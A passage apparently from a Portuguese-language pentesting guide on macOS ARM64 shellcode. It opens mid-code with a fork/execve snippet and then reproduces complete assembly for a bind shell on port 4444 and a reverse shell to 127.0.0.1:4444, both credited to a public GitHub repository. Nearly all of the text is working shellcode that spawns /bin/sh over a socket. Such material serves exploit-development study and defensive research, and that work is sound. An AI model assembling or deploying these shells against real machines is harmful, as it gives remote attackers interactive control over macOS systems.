cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell de https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s na porta 4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Reverse shell

De https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell para 127.0.0.1:4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

tip

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